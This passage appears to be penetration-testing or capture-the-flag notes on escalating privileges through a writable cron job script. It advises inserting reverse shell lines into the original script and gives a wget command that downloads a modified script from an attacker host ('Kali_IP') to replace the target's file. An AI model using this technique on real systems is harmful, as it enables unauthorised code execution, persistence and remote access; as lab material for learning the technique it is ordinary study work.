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if you're able to modify the cronjob script, don't just replace it. keep a copy of the content and modify or add what you need. i.e) add reverse shell lines. Don't try to edit it with vim if you can just upload a new one replacing it with the exact name.
Transferring a modified cron job script to the target but with the same name:
wget http://Kali_IP/.modified_cronjob.py -O .cronjob.py